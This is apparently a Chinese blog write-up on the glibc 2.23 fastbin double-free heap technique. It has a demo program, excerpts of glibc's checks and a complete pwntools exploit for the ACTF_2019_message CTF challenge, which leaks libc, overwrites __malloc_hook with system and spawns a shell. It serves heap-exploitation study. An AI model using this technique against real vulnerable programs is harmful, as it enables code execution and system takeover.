Fastbin Double Free

参考:shellphish/how2heap: A repository for learning various heap exploitation techniques. (github.com)

Glibc-2.23

实验代码

#include <stdio.h>
#include <stdlib.h>

int main()
{
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);
    
	free(a);
	free(b);
	free(a);

	a = malloc(8);
	b = malloc(8);
	c = malloc(8);
	fprintf(stderr, "1st malloc(8): %p\n", a);
	fprintf(stderr, "2nd malloc(8): %p\n", b);
	fprintf(stderr, "3rd malloc(8): %p\n", c);

	return 0;
}

编译&换libc版本

gcc main.c -g -o main_x64
patchelf --set-interpreter /root/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --set-rpath /root/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64 main_x64

实验过程

执行到释放,观察a,b,c的值。

 

开始释放,将a释放两次之后,fastbins里面形成了一个循环,现在只要不向申请的fast chunk里面写入内容就可以无限申请这两个地址,需要注意的地方是同一个 fast chunk 不能连着释放两次。

同一个 fast chunk 不能连着释放两次的原因
 /*
old 的值为前一个释放的fast chunk指针
p 为当释放的fast chunk指针
*/
if (__builtin_expect(old == p, 0))
{
	errstr = "double free or corruption (fasttop)";
	goto errout;
}

 

重新申请堆,根据fastbins(FILO)先进后出的规则,再次申请fast chunk时,将会返回0x555555757010,并将0x555555757010地址的值写入fastbinsY,所以只要我们在申请回第一个堆时,可以通过修改这个堆的fd来实现任意地址申请。

需要注意的地方
 /*
如果伪造的地址的size和当前fastbinsY里面的大小不同会导致报错
idx为 malloc(size) 的size在fastbinsY里面的索引
*/
if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0))
{
	errstr = "malloc(): memory corruption (fast)";
errout:
	malloc_printerr(check_action, errstr, chunk2mem(victim), av);
	return NULL;
}
0x555555757000: 0x0000000000000000 0x0000000000000021
0x555555757010: 0x0000555555757020 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021
0x555555757030: 0x0000555555757000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000020fa1

 

例题:ACTF_2019_message

题目来源:BUUCTF在线评测 (buuoj.cn)

检查发现没有开启PIE。

sub_400A3F是用来申请堆的,大小自定义。大小和指针保存在0x602060。根据汇编代码发现堆指针紧挨着size,占8字节。

 

sub_400B73用于释放堆,并且把大小设置成0了( edit 和 show 函数只能在size存在时才能使用)。

因为大小和堆指针存放的问题,我们可以利用Fastbin Double Free申请到0x602068地址。

思路

1、申请一个大小属于fast chunk的堆,大小随意,这个堆不进行释放,用来绕过申请fast chunk的检查。

2、申请两个和第一个大小相同的fast chunk,利用Fastbin Double Free申请到0x602068地址。

3、通过得到的0x602060地址,进行泄露heap基址 和 libc基址。

4、修改__malloc_hook或__free_hook的值得到shell。

exp

EXP
 from pwn import *
from LibcSearcher import *

debug = 0
local = 0
host = ""
port = 0
filename = "./ACTF_2019_message"

def getflag():
	p.sendline(b'cat flag')
	p.interactive()

def stop():
	while True:
		print(p.recv())

def malloc(size, data):
	p.sendafter(b'choice: ', b'1')
	p.sendafter(b'message:\n', f'{size}'.encode())
	p.sendlineafter(b'message:\n', data)

def free(index):
	p.sendafter(b'choice: ', b'2')
	p.sendafter(b'delete:\n', f'{index}'.encode())

def edit(index, data):
	p.sendafter(b'choice: ', b'3')
	p.sendafter(b'edit:\n', f'{index}'.encode())
	p.sendlineafter(b'message:\n', data)

def show(index):
	p.sendafter(b'choice: ', b'4')
	p.sendafter(b'display:\n', f'{index}'.encode())

p = process(filename) if not debug and local else gdb.debug(filename, "b *0x400E25") if debug else remote(host, port)
elf = ELF(filename)
libc = elf.libc

malloc(0x80, b'/bin/sh\x00')
malloc(0x78, b'')
malloc(0x78, b'')
free(1)
free(2)
free(1)
malloc(0x78, p64(0x602058))
malloc(0x78, b'')
malloc(0x78, b'')
malloc(0x78, b'')

show(6)
p.recvuntil(b'message: ')
heapbase = u64(p.recvuntil(b'=')[:-2].ljust(8, b'\x00')) - 0x0A
print(f'heap => {hex(heapbase)}')
edit(6, p64(0x601F90))
show(0)
p.recvuntil(b'message: ')
freeaddr = u64(p.recvuntil(b'\n').strip().ljust(8, b'\x00'))
print(f'free => {hex(freeaddr)}')
if local:
	libcbase = freeaddr - libc.sym['free']
	system = libcbase + libc.sym['system']
	malloc_hook = libcbase + libc.sym['__malloc_hook']
else:
	libc = LibcSearcher('free', freeaddr)
	# libc.select_libc(0)
	libcbase = freeaddr - libc.dump('free')
	system = libcbase + libc.dump('system')
	malloc_hook = libcbase + libc.dump('__malloc_hook')
edit(6, p64(malloc_hook))
edit(0, p64(system))
p.sendafter(b'choice: ', b'1')
p.sendafter(b'message:\n', f'{heapbase+0x10}'.encode())
getflag()

 

posted @ 2023-07-24 16:34  liert  阅读(50)  评论(0编辑  收藏  举报